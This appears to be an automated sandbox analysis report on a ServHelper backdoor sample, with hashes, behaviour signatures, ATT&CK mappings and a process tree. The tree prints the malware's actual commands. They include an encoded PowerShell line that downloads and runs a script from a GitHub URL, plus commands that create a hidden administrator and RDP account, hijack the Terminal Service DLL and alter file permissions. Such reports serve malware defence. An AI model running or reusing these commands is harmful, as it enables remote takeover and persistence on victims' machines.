servhelper | 02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9

Analysis

max time kernel
123s
max time network
130s
platform
windows7_x64
resource
win7v20210410
submitted
24-08-2021 04:58

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General

Target

1aa9dda1b9b413444b0668500611c7f3.exe
Size

7.2MB
MD5

1aa9dda1b9b413444b0668500611c7f3
SHA1

d980ac83bf107df1a7510ad94304a7e364d927a5
SHA256

02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9
SHA512

37a301fd61c42c10f774950826469f215a20a24d783316febfeafd0fa06d88f536daa4d5d10153fd1ec42cc778d87716fe5b4bb9782c03e86a4e3b336e9efd53

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	1304	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
1684	Uso.exe.com
556	Uso.exe.com
1520	Uso.exe.com

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1536	icacls.exe
1812	icacls.exe
1148	icacls.exe
2028	icacls.exe
1304	icacls.exe
1320	icacls.exe
568	takeown.exe
1832	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130fc-206.dat	upx
behavioral1/files/0x00050000000130fd-207.dat	upx

Deletes itself 1 IoCs

pid	Process
1604	powershell.exe

Loads dropped DLL 5 IoCs

pid	Process
1428	cmd.exe
1684	Uso.exe.com
556	Uso.exe.com
2016	Process not Found
2016	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1832	icacls.exe
1536	icacls.exe
1812	icacls.exe
1148	icacls.exe
2028	icacls.exe
1304	icacls.exe
1320	icacls.exe
568	takeown.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 556 set thread context of 1520	556	Uso.exe.com	37

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c1e34e-f8f1-40e3-9e34-d2bc60847978	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7851d9f8-5a94-4f19-abbc-9e8754f2820b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_590079ea-d8ab-4b5e-8331-794979062022	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8488ae52-0de2-4204-94c6-5ac571d06aae	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KBIT5YP27TKMSI74A9CW.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_93327922-f4a0-4fd5-8423-0f8106e1b855	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a704ef83-0bb9-44e2-b4a7-67d84b238768	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d4f4b9bc-e8b7-414b-8df1-a0caa47c56af	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_efee7dc4-21f0-44af-b875-9268496691b1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_93423796-147b-49e7-8764-f1426d3b4079	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_852a90e6-f7a1-42e9-b4a4-145948992680	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd7fe452-a2c5-417f-a5a4-6a8ca20a6b82	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 5099d058a498d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1944	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Uso.exe.com
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Uso.exe.com

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
420	PING.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1604	powershell.exe
1604	powershell.exe
1564	powershell.exe
1564	powershell.exe
292	powershell.exe
292	powershell.exe
1444	powershell.exe
1444	powershell.exe
1604	powershell.exe
1604	powershell.exe
1604	powershell.exe
1304	powershell.exe
1304	powershell.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
460	Process not Found
2016	Process not Found
2016	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1520	Uso.exe.com
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	292	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeRestorePrivilege	1536	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	324	WMIC.exe
Token: SeIncreaseQuotaPrivilege	324	WMIC.exe
Token: SeAuditPrivilege	324	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	324	WMIC.exe
Token: SeIncreaseQuotaPrivilege	324	WMIC.exe
Token: SeAuditPrivilege	324	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1708	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1708	WMIC.exe
Token: SeAuditPrivilege	1708	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1708	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1708	WMIC.exe
Token: SeAuditPrivilege	1708	WMIC.exe
Token: SeDebugPrivilege	1304	powershell.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1684	Uso.exe.com
1684	Uso.exe.com
1684	Uso.exe.com
556	Uso.exe.com
556	Uso.exe.com
556	Uso.exe.com

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
1684	Uso.exe.com
1684	Uso.exe.com
1684	Uso.exe.com
556	Uso.exe.com
556	Uso.exe.com
556	Uso.exe.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 792 wrote to memory of 1256	792	1aa9dda1b9b413444b0668500611c7f3.exe	29
PID 792 wrote to memory of 1256	792	1aa9dda1b9b413444b0668500611c7f3.exe	29
PID 792 wrote to memory of 1256	792	1aa9dda1b9b413444b0668500611c7f3.exe	29
PID 792 wrote to memory of 1256	792	1aa9dda1b9b413444b0668500611c7f3.exe	29
PID 792 wrote to memory of 1444	792	1aa9dda1b9b413444b0668500611c7f3.exe	30
PID 792 wrote to memory of 1444	792	1aa9dda1b9b413444b0668500611c7f3.exe	30
PID 792 wrote to memory of 1444	792	1aa9dda1b9b413444b0668500611c7f3.exe	30
PID 792 wrote to memory of 1444	792	1aa9dda1b9b413444b0668500611c7f3.exe	30
PID 1444 wrote to memory of 1428	1444	cmd.exe	32
PID 1444 wrote to memory of 1428	1444	cmd.exe	32
PID 1444 wrote to memory of 1428	1444	cmd.exe	32
PID 1444 wrote to memory of 1428	1444	cmd.exe	32
PID 1428 wrote to memory of 1628	1428	cmd.exe	33
PID 1428 wrote to memory of 1628	1428	cmd.exe	33
PID 1428 wrote to memory of 1628	1428	cmd.exe	33
PID 1428 wrote to memory of 1628	1428	cmd.exe	33
PID 1428 wrote to memory of 1684	1428	cmd.exe	34
PID 1428 wrote to memory of 1684	1428	cmd.exe	34
PID 1428 wrote to memory of 1684	1428	cmd.exe	34
PID 1428 wrote to memory of 1684	1428	cmd.exe	34
PID 1428 wrote to memory of 420	1428	cmd.exe	35
PID 1428 wrote to memory of 420	1428	cmd.exe	35
PID 1428 wrote to memory of 420	1428	cmd.exe	35
PID 1428 wrote to memory of 420	1428	cmd.exe	35
PID 1684 wrote to memory of 556	1684	Uso.exe.com	36
PID 1684 wrote to memory of 556	1684	Uso.exe.com	36
PID 1684 wrote to memory of 556	1684	Uso.exe.com	36
PID 556 wrote to memory of 1520	556	Uso.exe.com	37
PID 556 wrote to memory of 1520	556	Uso.exe.com	37
PID 556 wrote to memory of 1520	556	Uso.exe.com	37
PID 556 wrote to memory of 1520	556	Uso.exe.com	37
PID 556 wrote to memory of 1520	556	Uso.exe.com	37
PID 1520 wrote to memory of 1604	1520	Uso.exe.com	39
PID 1520 wrote to memory of 1604	1520	Uso.exe.com	39
PID 1520 wrote to memory of 1604	1520	Uso.exe.com	39
PID 1604 wrote to memory of 528	1604	powershell.exe	41
PID 1604 wrote to memory of 528	1604	powershell.exe	41
PID 1604 wrote to memory of 528	1604	powershell.exe	41
PID 528 wrote to memory of 924	528	csc.exe	42
PID 528 wrote to memory of 924	528	csc.exe	42
PID 528 wrote to memory of 924	528	csc.exe	42
PID 1604 wrote to memory of 1564	1604	powershell.exe	43
PID 1604 wrote to memory of 1564	1604	powershell.exe	43
PID 1604 wrote to memory of 1564	1604	powershell.exe	43
PID 1604 wrote to memory of 292	1604	powershell.exe	45
PID 1604 wrote to memory of 292	1604	powershell.exe	45
PID 1604 wrote to memory of 292	1604	powershell.exe	45
PID 1604 wrote to memory of 1444	1604	powershell.exe	47
PID 1604 wrote to memory of 1444	1604	powershell.exe	47
PID 1604 wrote to memory of 1444	1604	powershell.exe	47
PID 1604 wrote to memory of 568	1604	powershell.exe	49
PID 1604 wrote to memory of 568	1604	powershell.exe	49
PID 1604 wrote to memory of 568	1604	powershell.exe	49
PID 1604 wrote to memory of 1832	1604	powershell.exe	50
PID 1604 wrote to memory of 1832	1604	powershell.exe	50
PID 1604 wrote to memory of 1832	1604	powershell.exe	50
PID 1604 wrote to memory of 1536	1604	powershell.exe	51
PID 1604 wrote to memory of 1536	1604	powershell.exe	51
PID 1604 wrote to memory of 1536	1604	powershell.exe	51
PID 1604 wrote to memory of 1812	1604	powershell.exe	52
PID 1604 wrote to memory of 1812	1604	powershell.exe	52
PID 1604 wrote to memory of 1812	1604	powershell.exe	52
PID 1604 wrote to memory of 1148	1604	powershell.exe	53
PID 1604 wrote to memory of 1148	1604	powershell.exe	53

C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe
"C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:792
- C:\Windows\SysWOW64\dllhost.exe
  "C:\Windows\System32\dllhost.exe"
  2⤵
  PID:1256
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd < Bianchezza.xltx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V /R "^neXfkAonzMgXVmZcOdbhYtXinpUsiRQPwpGkvuIPGbsmTRiWdNhKCZQztQQwGRdBWnVLTOZIHIGBMnhHwYqzEyjezjuGfHoPuPCcVveCOErUagHFCoZIRXXQkTsHHzzqmRcWVSM$" Veda.xltx
      4⤵
      PID:1628
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
      Uso.exe.com B
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1684
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com B
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:556
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        6⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        7⤵
        Deletes itself
        Drops file in System32 directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1604
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0hwfdrms\0hwfdrms.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:528
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES11EB.tmp" "c:\Users\Admin\AppData\Local\Temp\0hwfdrms\CSC94084A0813C4B92B670F7277E39339.TMP"
        9⤵
        
        PID:924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1444
        
        C:\Windows\system32\takeown.exe
        
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:568
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1832
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:1536
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1812
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1148
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2028
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1304
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1320
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        8⤵
        
        PID:1804
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        8⤵
        Modifies registry key
        
        PID:1944
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        8⤵
        
        PID:904
        
        C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        8⤵
        
        PID:960
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        9⤵
        
        PID:604
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        8⤵
        
        PID:1340
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        9⤵
        
        PID:1012
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        10⤵
        
        PID:864
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        11⤵
        
        PID:1324
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        8⤵
        
        PID:916
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        9⤵
        
        PID:1436
        
        C:\Windows\system32\net.exe
        
        net start TermService
        10⤵
        
        PID:300
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        11⤵
        
        PID:972
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
        8⤵
        
        PID:816
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
        8⤵
        
        PID:916
  - - C:\Windows\SysWOW64\PING.EXE
      ping MRBKYMNO -n 30
      4⤵
      Runs ping.exe
      PID:420

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:568
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1032

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc xxaIqIFQ /add
1⤵
PID:1728
- C:\Windows\system32\net.exe
  net.exe user wgautilacc xxaIqIFQ /add
  2⤵
  PID:672
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc xxaIqIFQ /add
    3⤵
    PID:1780

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1064
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:844

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1016
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1708

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:604
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1120

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc xxaIqIFQ
1⤵
PID:1380
- C:\Windows\system32\net.exe
  net.exe user wgautilacc xxaIqIFQ
  2⤵
  PID:1684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc xxaIqIFQ
    3⤵
    PID:672

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1200
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:324

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1784
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1708

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1032
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/292-157-0x0000000001F20000-0x0000000001F21000-memory.dmp

Filesize
4KB

Download
memory/292-152-0x0000000002730000-0x0000000002731000-memory.dmp

Filesize
4KB

Download
memory/292-158-0x0000000002690000-0x0000000002692000-memory.dmp

Filesize
8KB

Download
memory/292-156-0x000000001B570000-0x000000001B571000-memory.dmp

